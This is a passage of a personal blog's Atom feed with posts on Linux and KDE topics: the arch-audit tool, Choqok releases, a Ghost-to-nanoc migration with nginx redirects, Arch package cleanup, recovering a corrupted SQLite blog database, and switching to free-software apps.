    <id>tag:scarpino.dev,2016-09-25:/posts/arch-audit.html</id>
    <title type="html">arch-audit</title>
    <published>2016-09-25T00:00:00Z</published>
    <updated>2016-09-25T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/arch-audit.html" type="text/html"/>
    <content type="html">&lt;p&gt;I started a tiny project a couple of days ago: &lt;a href="https://github.com/ilpianista/arch-audit"&gt;arch-audit&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;arch-audit main (and unique) goal is to display the Arch Linux packages that are affected by known vulnerabilities on your system.&lt;/p&gt;

&lt;p&gt;To do that, arch-audit parses the &lt;a href="https://wiki.archlinux.org/index.php/CVE"&gt;CVE page&lt;/a&gt; on the Arch wiki, which is maintained by the &lt;a href="https://wiki.archlinux.org/index.php/Arch_CVE_Monitoring_Team"&gt;Arch CVE Monitoring Team&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;arch-audit output is very verbose when it’s started without any argument, but two options &lt;code&gt;--quiet&lt;/code&gt; (or &lt;code&gt;-q&lt;/code&gt; or &lt;code&gt;-qq&lt;/code&gt;) and &lt;code&gt;--format&lt;/code&gt; (or &lt;code&gt;-f&lt;/code&gt;) allows to change the output for your use case.
There’s also a third option &lt;code&gt;--upgradable&lt;/code&gt; to display only packages that have already been fixed in the Arch Linux repositories.&lt;/p&gt;

&lt;p&gt;In my opinion a great use case is the following:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ ssh www.andreascarpino.it
openssl&amp;gt;=1.0.2.i-1
lib32-openssl&amp;gt;=1:1.0.2.i-1
Last login: Sat Sep 24 23:13:56 2016
$
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In fact, I added a &lt;a href="https://github.com/ilpianista/arch-audit/tree/master/systemd"&gt;systemd timer&lt;/a&gt; that executes &lt;code&gt;arch-audit -uq&lt;/code&gt; everyday and saves its output to a temporary file that is configured as banner for SSH.
Then, every time I log into my server, I get notified about packages that have vulnerabilities, but that already have been fixed. Time to do a system update!&lt;/p&gt;

&lt;p&gt;So, now I’m waiting your feedbacks!
Have fun!&lt;/p&gt;

&lt;p&gt;BTW, &lt;a href="https://cisofy.com/lynis/"&gt;Lynis&lt;/a&gt; already &lt;a href="https://github.com/CISOfy/lynis/commit/db419495bf8daa3bc996aeb3992e0b2ae65649a4"&gt;added arch-audit support&lt;/a&gt;!&lt;/p&gt;

</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2016-06-17:/posts/choqok-1-6-beta-1.html</id>
    <title type="html">Choqok 1.6 Beta 1</title>
    <published>2016-06-17T00:00:00Z</published>
    <updated>2016-06-17T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/choqok-1-6-beta-1.html" type="text/html"/>
    <content type="html">&lt;p&gt;I’m happy to announce that we will release &lt;a href="http://choqok.gnufolks.org/"&gt;Choqok&lt;/a&gt; 1.6 next month! (mid July)&lt;/p&gt;

&lt;p&gt;This will be the first release after &lt;a href="/posts/choqok-and-kde-frameworks.html"&gt;the KDE frameworks port&lt;/a&gt; and many things have been fixed in those 16 months, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Twitter: fix user lists loading (&lt;a href="https://bugs.kde.org/show_bug.cgi?id=345641"&gt;BUG:345641&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Twitter: allow to select any follower when sending a direct message&lt;/li&gt;
  &lt;li&gt;Twitter: fix searches by username&lt;/li&gt;
  &lt;li&gt;Twitter: fix searches by hashtag&lt;/li&gt;
  &lt;li&gt;Twitter: show original retweet time (&lt;a href="https://bugs.kde.org/show_bug.cgi?id=343438"&gt;BUG:343438&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Twitter: fix external URL to access direct messages and tweets&lt;/li&gt;
  &lt;li&gt;Twitter: send direct message without text limits&lt;/li&gt;
  &lt;li&gt;Twitter: support to send and view tweets with quoted text&lt;/li&gt;
  &lt;li&gt;Twitter: allow to delete direct messages&lt;/li&gt;
  &lt;li&gt;Twitter: always show ‘Mark as read’ button&lt;/li&gt;
  &lt;li&gt;GNU Social: fix medium attachment to post&lt;/li&gt;
  &lt;li&gt;GNU Social: allow to send direct messages&lt;/li&gt;
  &lt;li&gt;Pump.IO: do not show resend button for own posts&lt;/li&gt;
  &lt;li&gt;Pump.IO: display avatar image in own posts on the right&lt;/li&gt;
  &lt;li&gt;Pump.IO: do not create a post if there’s no text&lt;/li&gt;
  &lt;li&gt;Fix removal of accounts with spaces in their name&lt;/li&gt;
  &lt;li&gt;Add scalable versions of Choqok icon&lt;/li&gt;
  &lt;li&gt;Check the result of external URL opening to report any failure (&lt;a href="https://bugs.kde.org/show_bug.cgi?id=347525"&gt;BUG:347525&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Fixed a bug that overwrite an account with the same alias if you use the same alias&lt;/li&gt;
  &lt;li&gt;Do not allow to send quick posts with no text&lt;/li&gt;
  &lt;li&gt;Always use HTTPS when available&lt;/li&gt;
  &lt;li&gt;ImageView: dropped Twitpic and Tweetphoto support (service are dead)&lt;/li&gt;
  &lt;li&gt;A couple of segmentation fault fixed&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Oh, we also added official support for &lt;a href="http://friendica.com/"&gt;Friendica&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;But there’s still a lot to do!&lt;/p&gt;

&lt;p&gt;Please join the &lt;a href="https://community.kde.org/Get_Involved/translation"&gt;KDE translation team&lt;/a&gt; and help us with translations or try &lt;a href="http://download.kde.org/unstable/choqok/1.5.80/src/choqok-1.5.80.tar.xz"&gt;this 1.6 beta&lt;/a&gt; and &lt;a href="https://bugs.kde.org"&gt;report any bug&lt;/a&gt; or, still, join the development team and fix &lt;a href="https://bugs.kde.org/buglist.cgi?bug_status=UNCONFIRMED&amp;amp;bug_status=CONFIRMED&amp;amp;bug_status=ASSIGNED&amp;amp;bug_status=REOPENED&amp;amp;list_id=1364389&amp;amp;product=choqok&amp;amp;query_format=advanced"&gt;the open bugs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Together we can make the next release a new starting point for Choqok!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2015-10-06:/posts/from-ghost-to-nanoc.html</id>
    <title type="html">From Ghost To Nanoc</title>
    <published>2015-10-06T00:00:00Z</published>
    <updated>2015-10-06T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/from-ghost-to-nanoc.html" type="text/html"/>
    <content type="html">&lt;p&gt;I completed my blog migration from &lt;a href="https://ghost.org"&gt;Ghost&lt;/a&gt; to &lt;a href="http://nanoc.ws"&gt;nanoc&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;About &lt;a href="/posts/my-blog-again.html"&gt;2 years ago&lt;/a&gt; I did setup a blog on blog.as.it using Ghost. It’s UI was very minimal and I liked the default theme (Casper) a lot.&lt;/p&gt;

&lt;p&gt;However, I kept nanoc for my main website, until I decided to give &lt;a href="http://jaspervdj.be/hakyll/"&gt;Hakyll&lt;/a&gt; a try. It’s not that nanoc didn’t satisfy me at that time, but that I was fascinated by Haskell - I’m still fascinated by Haskell, but I’ve no much time to play with it, while I play with Ruby more often.&lt;/p&gt;

&lt;p&gt;Someday ago I thought it was time to merge my website and my blog; both could be handled by a static site generator and since I’m fluent in Ruby more then Haskell, I went for nanoc again.&lt;/p&gt;

&lt;p&gt;The migration has not been hard because one of the main features of Ghost is that you write your post using Markdown, then I wrote &lt;a href="https://gitlab.com/snippets/11208"&gt;this shell script&lt;/a&gt; to migrate my posts from Ghost to a “nanoc compatible format” like:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;---
kind: article
created_at: 2015-10-06
title: My Ghost Post
tags: ['example']
---
This is a post in **Ghost**!
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;With that script my posts were split and ready in the content folder to be built by nanoc. Nothing more to do! Well, in truth I had to fix the path to the linked images manually…&lt;/p&gt;

&lt;p&gt;The second step was to put some redirect to allow the old links around the web to continue to work, specifically the Ghost pattern was &lt;em&gt;http://blog.as.it/my-ghost-post/&lt;/em&gt; while in nanoc I went for &lt;em&gt;/posts/my-ghost-post.html&lt;/em&gt;. I fixed this in my blog nginx configuration:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;location = / {
  rewrite ^ $scheme://www.andreascarpino.it permanent;
}

location / {
  rewrite ^(.*) $scheme://www.andreascarpino.it/posts$request_uri permanent;
}

location = /rss/ {
  rewrite ^ $scheme://www.andreascarpino.it/feed.xml permanent;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;While in the website nginx configuration I put:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;location /posts/ {
  root   /srv/http/website;
  if ($request_filename ~* ^.+.html$) {
    break;
  }
  if ($request_uri ~* ^.+/$) {
    rewrite ^/(.*)/$ /$1.html permanent;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And that’s!&lt;/p&gt;

&lt;p&gt;Hope this helps someone that plans to do the same migration.
If you are interested at looking at my nanoc setup, the configuration is &lt;a href="https://gitlab.com/ilpianista/ilpianista.gitlab.io"&gt;here&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2015-09-12:/posts/kde-telepathy-thinklight-plugin.html</id>
    <title type="html">KDE Telepathy ThinkLight Plugin</title>
    <published>2015-09-12T00:00:00Z</published>
    <updated>2015-09-12T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/kde-telepathy-thinklight-plugin.html" type="text/html"/>
    <content type="html">&lt;p&gt;Do you own a ThinkPad? Good!
Does it have the &lt;a href="https://en.wikipedia.org/wiki/IBM_ThinkPad_ThinkLight"&gt;ThinkLight&lt;/a&gt;? Good! Then this post might interest you!&lt;/p&gt;

&lt;p&gt;I just wrote a &lt;a href="https://userbase.kde.org/Telepathy"&gt;KDE Telepathy&lt;/a&gt; plugin that blinks the ThinkLight when you get an incoming message.
Sounds almost useless, isn’t? Maybe not.&lt;/p&gt;

&lt;p&gt;I found a good use case for it: sometime you could be away from keyboard, but near your ThinkPad (e.g. studying), the screen goes black, sounds are off, but you see the ThinkLight blinking - you got a message!&lt;/p&gt;

&lt;p&gt;To enable it you just have to fetch the &lt;a href="http://quickgit.kde.org/?p=scratch%2Fscarpino%2Fktp-thinklight.git"&gt;source code&lt;/a&gt;, build and install as usual with CMake.&lt;/p&gt;

&lt;p&gt;There’s just an annoyance at the moment: you need write permission over &lt;code&gt;/proc/acpi/ibm/light&lt;/code&gt;. I’m looking for a solution for this, but found nothing if not changing that file permissions manually. Any idea?&lt;/p&gt;

&lt;p&gt;There’s also a tool, &lt;a href="http://www.mike.tl/other/ThinkAlert.html"&gt;thinkalert&lt;/a&gt; (&lt;a href="https://github.com/floriandejonckheere/thinkalert"&gt;mirror&lt;/a&gt;), which allows to turn on/off the ThinkLight without being &lt;em&gt;root&lt;/em&gt; by using &lt;em&gt;suid&lt;/em&gt;. If you prefer this way, you can fetch the code from the &lt;em&gt;thinkalert&lt;/em&gt; branch instead.&lt;/p&gt;

&lt;p&gt;Have fun!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2015-06-06:/posts/cleaning-an-arch-linux-installation.html</id>
    <title type="html">Cleaning an Arch Linux installation</title>
    <published>2015-06-06T00:00:00Z</published>
    <updated>2015-06-06T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/cleaning-an-arch-linux-installation.html" type="text/html"/>
    <content type="html">&lt;p&gt;We are in springtime and usually in &lt;a href="https://en.wikipedia.org/wiki/Spring_cleaning"&gt;springtime you make some cleaning&lt;/a&gt;.
Today I decided to clean my old desktop that is running the same Arch Linux installation since 2007.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;: this whole task requires a bit of knowledge about what a package does and why it is installed on your system. You could break something, but IMHO in the worst case you will re-install it later ;-)&lt;/p&gt;

&lt;p&gt;So, I started by listing any package I didn’t install:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code&gt;$ pacman -Sqg base base-devel | sort -u &amp;gt; /tmp/essentials&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code&gt;$ pacman -Qqe | sort &amp;gt; /tmp/explicit&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code&gt;$ comm -13 /tmp/essentials /tmp/explicit &amp;gt; /tmp/unknown&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read &lt;em&gt;/tmp/unknown&lt;/em&gt; and mark as “installed as dependence” any package you didn’t install or simply you don’t know. This last step requires a knowledge of what a package do; &lt;code&gt;pacman -Qi&lt;/code&gt; and &lt;code&gt;pacman -Ql&lt;/code&gt; are your friend here!
To mark a package as dependence run: &lt;code&gt;# pacman -D --asdeps &amp;lt;pkg&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now, the harmful part! Run &lt;code&gt;# pacman -Rscn $(pacman -Qqtd)&lt;/code&gt;. It will remove any package installed as dependence plus the packages needed by it because installed as dependence that are no more required without it. &lt;strong&gt;Do not rush&lt;/strong&gt; and read the packages you are going to remove!&lt;/p&gt;

&lt;p&gt;In my case, even after all those years I only got 14 packages…I’m too careful. I always mark as dependence the package I don’t use anymore and I periodically check the output of &lt;code&gt;pacman -Qqtd&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now, you could also remove the orphaned files on your system by using &lt;code&gt;lostfiles&lt;/code&gt; (&lt;a href="https://aur.archlinux.org/packages/lostfiles/"&gt;download from AUR&lt;/a&gt;). In fact, &lt;code&gt;# lostfiles relaxed &amp;gt; /tmp/lostfiles&lt;/code&gt; will produce a list of files that are owned by no package, but it also excludes something from that list which makes things easier for your brain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: an user suggested to also check the output of &lt;code&gt;pacman -Qqttd&lt;/code&gt; (note the extra ‘&lt;em&gt;t&lt;/em&gt;’); this one also lists optional dependencies. Thanks!&lt;/p&gt;

&lt;p&gt;Happy cleaning!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2015-04-08:/posts/choqok-and-kde-frameworks.html</id>
    <title type="html">Choqok and KDE Frameworks</title>
    <published>2015-04-08T00:00:00Z</published>
    <updated>2015-04-08T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/choqok-and-kde-frameworks.html" type="text/html"/>
    <content type="html">&lt;p&gt;Hi there,&lt;/p&gt;

&lt;p&gt;Good news for the &lt;a href="http://choqok.gnufolks.org/"&gt;Choqok&lt;/a&gt; users out there: we are &lt;a href="https://mail.kde.org/pipermail/choqok-devel/2015-April/000392.html"&gt;now&lt;/a&gt; using &lt;a href="https://www.kde.org/announcements/kde-frameworks-5.0.php"&gt;KDE Frameworks&lt;/a&gt; technology!&lt;/p&gt;

&lt;p&gt;In fact, I spent the last month porting Choqok bits from Qt 4 to Qt 5, but I also fixed minor bugs you discover when doing this kind of work. Regressions could happen, so please &lt;a href="https://bugs.kde.org"&gt;report them&lt;/a&gt; and we’ll fix them!&lt;/p&gt;

&lt;p&gt;To try this version you just need to install qca-qt5 and qoauth-qt5, build our code from git and you have done. Check the &lt;a href="http://quickgit.kde.org/?p=choqok.git&amp;amp;a=blob&amp;amp;f=README&amp;amp;o=plain"&gt;README&lt;/a&gt; for more info about the steps on how to build it.&lt;/p&gt;

&lt;p&gt;…and from now on I’ll focus on fixing bugs \o/&lt;/p&gt;

&lt;p&gt;I’m also interested in improving &lt;a href="http://pump.io"&gt;Pump.io&lt;/a&gt; and &lt;a href="https://gnu.io/social/"&gt;GNU Social&lt;/a&gt; support because I’m a supporter and advocate of the &lt;a href="https://www.gnu.org/philosophy/free-sw.html"&gt;Free Software&lt;/a&gt;, but I also believe in the &lt;a href="http://freeyourdata.org/"&gt;FreeYourData&lt;/a&gt; movement and decentralized social networks are the way to go.&lt;/p&gt;

&lt;p&gt;Before someone ask, I’m also a &lt;a href="https://joindiaspora.com/"&gt;Diaspora*&lt;/a&gt; supporter, but Choqok cannot support it until they &lt;a href="https://github.com/diaspora/diaspora/issues/3467"&gt;get some API&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/choqok_kf5_thumb.ong"&gt;&lt;img src="/images/choqok_kf5_thumb.png" alt="Choqok using KDE Frameworks" /&gt;&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2015-01-10:/posts/firefox-kde-wallet-for-kf5.html</id>
    <title type="html">Firefox KDE Wallet for KF5</title>
    <published>2015-01-10T00:00:00Z</published>
    <updated>2015-01-10T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/firefox-kde-wallet-for-kf5.html" type="text/html"/>
    <content type="html">&lt;p&gt;Hi there,&lt;/p&gt;

&lt;p&gt;I have a good news for Firefox and Plasma 5 users: I ported &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/kde-wallet-password-integratio/"&gt;KDE Wallet password integration&lt;/a&gt; extension to KDE Frameworks 5!&lt;/p&gt;

&lt;p&gt;It seems to me that this plugin is unmaintained because both the released version and the &lt;a href="http://svn.guillermomolina.com.ar/firefox-kde-wallet-2/"&gt;SVN one&lt;/a&gt; do not support Firefox 33 or newer. So, as first step I took Guillermo’s code and bumped the Firefox version.&lt;/p&gt;

&lt;p&gt;After that I did work on the KF5 version: I updated the CMakeLists file, replaced some &lt;code&gt;kDebug()&lt;/code&gt; usage and fixed the QString initializations. The plugin built at first shot!&lt;/p&gt;

&lt;p&gt;And then the first issue.&lt;/p&gt;

&lt;p&gt;There’s a C test file which failed to find the exported symbols from the C++ library, therefore the extension would not work in Firefox. Turns out &lt;code&gt;Q_DECL_EXPORT&lt;/code&gt; macro was needed. I guess with Qt 5 you need to explicitly define which symbols to export?&lt;/p&gt;

&lt;p&gt;Rebuilt, the plugin runs and… segfaults.
After some debugging it turns out &lt;code&gt;KWallet::openWallet()&lt;/code&gt; invokes KWindowSystem that &lt;a href="https://projects.kde.org/projects/frameworks/kwindowsystem/repository/revisions/master/entry/src/kwindowsystem.cpp#L48"&gt;needs a QCoreApplication instance&lt;/a&gt; otherwise it segfaults.&lt;/p&gt;

&lt;p&gt;Fixed that one, I rebuilt the plugin and… it works!&lt;/p&gt;

&lt;p&gt;The code is &lt;a href="http://quickgit.kde.org/?p=scratch%2Fscarpino%2Ffirefox-kde5-wallet.git"&gt;here&lt;/a&gt;, and &lt;a href="https://share.kde.org/index.php/s/UCO0s7RASvgJpZG"&gt;here&lt;/a&gt; you can download an XPI for x86_64. Try it!&lt;/p&gt;

&lt;p&gt;In the meantime, I’m going to clean it a bit.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2014-08-20:/posts/how-i-lost-my-blog-content.html</id>
    <title type="html">How I lost my blog content</title>
    <published>2014-08-20T00:00:00Z</published>
    <updated>2014-08-20T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/how-i-lost-my-blog-content.html" type="text/html"/>
    <content type="html">&lt;p&gt;…and, luckily, how I restored it!&lt;/p&gt;

&lt;p&gt;Let me say this before you start reading: &lt;strong&gt;backup your data NOW!!!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Really, do it. I post-poned this for so long and, as result, I had a drammatic weekend.&lt;/p&gt;

&lt;p&gt;Last Friday I had the wonderful idea to update my Ghost setup to &lt;a href="http://blog.ghost.org/ghost-0-5/"&gt;the newer 0.5&lt;/a&gt;. I did this from my summer house via SSH, but the network isn’t the culprit here.&lt;/p&gt;

&lt;p&gt;You have to know that some months ago, maybe more, I switched from a package installation, through &lt;a href="https://aur.archlinux.org/packages/ghost"&gt;this PKGBUILD&lt;/a&gt;, to an installation via &lt;code&gt;npm&lt;/code&gt;. So, as soon as I typed &lt;code&gt;npm update&lt;/code&gt;, all my &lt;code&gt;node_modules/ghost&lt;/code&gt; content was gone. Yep, I must be dumb.&lt;/p&gt;

&lt;p&gt;After some minute, which helped me to better understand how the situation was, I immediately shutdown the BeagleBone Black.&lt;/p&gt;

&lt;p&gt;The day after I went home, I installed Arch Linux ARM on a microSD and obviously the super &lt;a href="http://www.cgsecurity.org/index.html?testdisk.html"&gt;TestDisk&lt;/a&gt; which got SQLite support since a while now. Cool!&lt;/p&gt;

&lt;p&gt;This way I restored the Ghost database, BUT it was corrupted. However, &lt;a href="http://stackoverflow.com/questions/5274202/sqlite3-database-or-disk-is-full-the-database-disk-image-is-malformed"&gt;a StackOverflow search&lt;/a&gt; pointed me to this commad:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;
cat &amp;lt;( sqlite3 ghost.db .dump | grep "^ROLLBACK" -v ) &amp;lt;( echo "COMMIT;" ) | sqlite3 ghost-fixed.db
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After that, I was able to open the database and to restore 14 of 40 posts.&lt;/p&gt;

&lt;p&gt;My second attempt has been to use the Google cache. Using this method I recovered about 10 posts. Nice, I already had more than 50% of the total content! I was feeling optimistic.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://planet.archlinux.org"&gt;Arch Linux Planet&lt;/a&gt; let me recover 3 posts more, which however I could recover anyway using &lt;a href="http://bd.summit.net"&gt;Bartle Doo&lt;/a&gt;; I never heard of this website before, but thanks to it I recovered some posts by looking for my First and Last Name.&lt;/p&gt;

&lt;p&gt;I was almost here. About 10 posts missing, but how to recover them?? I didn’t remember titles and googling without specific keywords didn’t help neither.&lt;/p&gt;

&lt;p&gt;I went back on the broken SQLite database, Vim can open it so let’s look into for some data. Bingo! The missing posts titles are still there!&lt;/p&gt;

&lt;p&gt;And then I started googling again, but for specific titles, which pointed me to websites mirroring my posts content.
At the end of this step I had 38 of 40 posts!&lt;/p&gt;

&lt;p&gt;I can’t stop now, it’s more than a challenge now.&lt;/p&gt;

&lt;p&gt;I went back again on the broken database where posts content is corrupted: there’s some text, then symbols and then another text which doesn’t make any sense in union with the first part. This looks like a tedious job. This Saturday can end here.&lt;/p&gt;

&lt;p&gt;It’s Sunday; I’m motivated and I can’t lose those 2 posts because of my laziness.
I’ve the missing posts titles and I now remember their content, so I started to look for their phrases in the database and, with all my surprise and a lot of patience, I recovered their content!
This mainly because Ghost keeps both the markdown and the HTML text in the database and then the post content is duplicated which decrease the chance of a corruption in the same phrase.&lt;/p&gt;

&lt;p&gt;Another summer, another &lt;a href="/posts/linux-survival.html"&gt;Linux survival&lt;/a&gt; experience (that I’m pleased to link to!).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2014-06-24:/posts/bringing-back-my-data.html</id>
    <title type="html">Bringing back my data</title>
    <published>2014-06-24T00:00:00Z</published>
    <updated>2014-06-24T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/bringing-back-my-data.html" type="text/html"/>
    <content type="html">&lt;p&gt;The past days have been very “FLOSS” for me.&lt;/p&gt;

&lt;p&gt;Let’s start from the beginning: Tuesday I managed (= it means I found money) to became a &lt;a href="https://fsfe.org/fellowship/"&gt;supporter of the FSFE&lt;/a&gt;! This is something that I had in mind since &lt;a href="/posts/linux-day-2013-bari.html"&gt;the last Linux Day&lt;/a&gt; (I’m sorry, that post is in Italian!) because I meet &lt;a href="https://wiki.fsfe.org/groups/Bari"&gt;the FSFE Bari&lt;/a&gt; guys there and we had a nice chat.&lt;/p&gt;

&lt;p&gt;I already knew the &lt;a href="https://fsfe.org/campaigns/android/android.en.html"&gt;FreeYourAndroid&lt;/a&gt; campaign, but on Thursday I stumbled upon &lt;a href="http://www.roussos.cc/2014/05/08/free-your-android/"&gt;Nikon Roussos’ post&lt;/a&gt; and he really motivated me to start replacing closed app with FLOSS app on my phone.&lt;/p&gt;

&lt;p&gt;Thanks to &lt;a href="https://f-droid.org/"&gt;F-Droid&lt;/a&gt;, after some hour I realized there’s a &lt;strong&gt;good&lt;/strong&gt; FLOSS alternative for almost every application I use. Notably, I switched from &lt;a href="https://play.google.com/store/apps/details?id=com.mapfactor.navigator"&gt;Navigator&lt;/a&gt; to &lt;a href="https://f-droid.org/repository/browse/?fdfilter=osmand&amp;amp;fdid=net.osmand.plus"&gt;OsmAnd~&lt;/a&gt;, from Google Keep to &lt;a href="https://f-droid.org/repository/browse/?fdfilter=tasks&amp;amp;fdid=de.azapps.mirakelandroid"&gt;Mirakel&lt;/a&gt;, from Google Translator to &lt;a href="https://f-droid.org/repository/browse/?fdfilter=quickdic&amp;amp;fdid=com.hughes.android.dictionary"&gt;QuickDic&lt;/a&gt;, from Google Hangout (SMS) to &lt;a href="https://play.google.com/store/apps/details?id=org.thoughtcrime.securesms"&gt;TextSecure&lt;/a&gt;, from Twitter to &lt;a href="https://f-droid.org/repository/browse/?fdfilter=twidere&amp;amp;fdid=org.mariotaku.twidere"&gt;Twidere&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Luckily I was already using &lt;a href="https://f-droid.org/repository/browse/?fdfilter=apollo&amp;amp;fdid=com.andrew.apollo"&gt;Apollo&lt;/a&gt;, &lt;a href="https://f-droid.org/repository/browse/?fdfilter=Connectbot&amp;amp;fdid=org.connectbot"&gt;ConnectBot&lt;/a&gt;, &lt;a href="https://f-droid.org/repository/browse/?fdfilter=document%20viewer&amp;amp;fdid=org.sufficientlysecure.viewer"&gt;Document Viewer&lt;/a&gt;, &lt;a href="https://f-droid.org/repository/browse/?fdfilter=keepass&amp;amp;fdid=com.android.keepass"&gt;KeePassDroid&lt;/a&gt;, &lt;a href="https://f-droid.org/repository/browse/?fdfilter=barcode&amp;amp;fdid=com.google.zxing.client.android"&gt;Barcode Scanner&lt;/a&gt;, &lt;a href="https://f-droid.org/repository/browse/?fdfilter=diode&amp;amp;fdid=in.shick.diode"&gt;Diode&lt;/a&gt;, &lt;a href="https://f-droid.org/repository/browse/?fdfilter=episodes&amp;amp;fdid=org.jamienicol.episodes"&gt;Episodes&lt;/a&gt;…&lt;/p&gt;

&lt;p&gt;The list was not so short as I thought initially and this scared me because there were too many Google apps. Yes, that’s because it has the best services out there, but this means it had my location, my SMSs, my todos, my translations, my mails, my contacts, my events,… even my website stats! - I bet Google knows me better than I do.&lt;/p&gt;

&lt;p&gt;On Monday, next step was to move away from Google Analytics. I did a quick search and found &lt;a href="http://piwik.org/"&gt;Piwik&lt;/a&gt;. The setup was simple and faster and it even allows (through a third-party script) to import your data from Google Analytics.&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/piwik.png"&gt;&lt;img src="/images/piwik_thumb.png" alt="Piwik Analytics" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tuesday. It was time to remove the Dropbox client and switch to &lt;a href="http://owncloud.org/"&gt;ownCloud&lt;/a&gt;. I never really used Dropbox to store my private files, I just did install the client because others co-workers did and we needed a quick way to work on a folder at the same time. Luckily I don’t have to share a folder with co-workers anymore, and even if I had I would use the website instead - Yep, downloading and uploading the file every time.&lt;/p&gt;

&lt;p&gt;I used this day to remove that package from my system and setup an ownCloud server that I’m using for remote backups. Now I can put my private files on the cloud because I trust the service this time :-)&lt;/p&gt;

&lt;p&gt;Only GMail and Google+ left and then I free-ed my Android.&lt;/p&gt;

&lt;p&gt;Google+ is harder. I don’t want to quit Google+ because of the FLOSS development around it. It’s a great place where to look for FLOSS news, look for people reactions and even people issues. It’s a real pity &lt;a href="http://pump.io/"&gt;Pump.IO&lt;/a&gt; or even &lt;a href="https://joindiaspora.com/"&gt;Diaspora&lt;/a&gt; aren’t at the same level. However, I always publish my staff as ‘Public’ audience, so Google doesn’t really own anything.&lt;/p&gt;

&lt;p&gt;On the contrary, GMail is a bit easier because I already use my aliases everywhere so I just need to open a &lt;a href="https://mykolab.com/"&gt;Kolab account&lt;/a&gt; and update my forwarding rules. However &lt;a href="http://blogs.fsfe.org/gerloff/2014/05/13/were-all-gmail-users-now/"&gt;we’re all Gmail users now&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let me say that I don’t want to quit every closed service and use my own instance (it would be cool, but you know it isn’t realistic), instead I guess we should look for a FLOSS alternative first and in the case there’s none we could split our data between many companies…and start making the FLOSS implementation!&lt;/p&gt;

&lt;p&gt;Oh I almost forgot, keep an eye upon the &lt;a href="https://tox.im/"&gt;Tox Project&lt;/a&gt;! It’s the free alternative to Skype/Hangout.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FLOSS &amp;lt;3&lt;/strong&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2014-05-17:/posts/kf5-official-packages-for-arch.html</id>
    <title type="html">KF5 Official Packages for Arch</title>
    <published>2014-05-17T00:00:00Z</published>
    <updated>2014-05-17T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/kf5-official-packages-for-arch.html" type="text/html"/>
    <content type="html">&lt;p&gt;Hi everybody,&lt;/p&gt;

&lt;p&gt;This morning I uploaded last &lt;a href="https://www.archlinux.org/groups/x86_64/kf5/"&gt;KDE Framework 5 packages&lt;/a&gt; to the [extra] repository in Arch Linux.&lt;/p&gt;

&lt;p&gt;Since Beta 2, KF5 packages are co-installable with KDE 4 and for this reason those packages are built with the &lt;em&gt;/usr&lt;/em&gt; prefix, not &lt;em&gt;/opt/kf5&lt;/em&gt; as previously on AUR.&lt;/p&gt;

&lt;p&gt;The only exception here was &lt;em&gt;kactivities&lt;/em&gt;: both versions (the KDE 4 version and the KDE Framework one) ship a  &lt;em&gt;kactivitymanagerd&lt;/em&gt; binary.&lt;/p&gt;

